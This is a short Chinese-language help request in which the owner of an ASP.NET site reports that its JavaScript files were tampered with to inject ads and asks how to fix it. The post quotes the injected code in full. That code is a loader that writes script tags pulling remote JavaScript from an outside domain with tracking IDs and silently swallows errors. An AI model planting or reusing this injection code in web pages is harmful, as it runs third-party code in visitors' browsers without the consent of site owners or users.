Asp.Net网站Js被随机篡改,加入广告
被篡改后的JS:
(function () { try { var ab = "http://www.xxx/data/js/xx.js", d = document; _add = function (s) { var k = d.createElement("script"); k.type = "text/javascript"; k.src = s; var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(k, s) }; ab.indexOf("?") > 0 ? ab += "&tcdsp" : ab += "?tcdsp"; n = d.getElementsByTagName("script").length; d.write("<script type='text/javascript' src='" + ab + "'></script>"); if (n == d.getElementsByTagName("script").length) _add(ab); if (!window.abtd && !(!-[1, ] && !window.XMLHttpRequest)) { window.abtd = 1; window.onload = function () { _add('http://api.dreamfull.cn/s/js/fshow.js?_qwert_sid=320418129&_zxcvb_pid=274192119') } } } catch (e) { } })();
请问各位大神如何解决这种问题